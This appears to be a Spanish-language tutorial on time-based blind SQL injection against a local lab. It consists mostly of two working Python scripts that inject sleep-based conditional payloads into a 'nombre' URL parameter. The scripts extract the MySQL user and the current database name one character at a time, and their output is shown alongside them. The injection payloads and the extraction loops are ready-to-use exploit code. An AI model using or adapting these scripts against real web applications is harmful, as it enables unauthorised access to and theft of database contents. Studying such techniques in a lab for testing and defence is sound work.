version(url,sleep_time,characters)
user() [Usuario que ejecuta la base de datos]
SELECT user();
> python3 main.py
[>] Probando con: 3
[*] Usuario:
[*] root@172.19.0.3
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
def user(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Usuario")
users = ""
for user in range(1):
for i in range(100):
payload = "{} and if(LENGTH((select user() limit {}, 1))={}, sleep({}), 1)-- -".format(url, user, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
v_length = i + 1
break
users += "\n[*] "
for position in range(v_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select user() limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, user, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
users += char
p2.status(users)
break
user(url,sleep_time,characters)
database() [Base de datos en uso]
SELECT database();
> python3 main.py
[-] Probando con: e
[ ] Base de datos en uso:
[*] my_database
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
def user(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Base de datos en uso")
databases = ""
for db in range(1):
for i in range(100):
payload = "{} and if(LENGTH((select database() limit {}, 1))={}, sleep({}), 1)-- -".format(url, db, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
db_length = i + 1
break
databases += "\n[*] "
for position in range(db_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select database() limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, db, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
databases += char
p2.status(databases)
break
user(url,sleep_time,characters)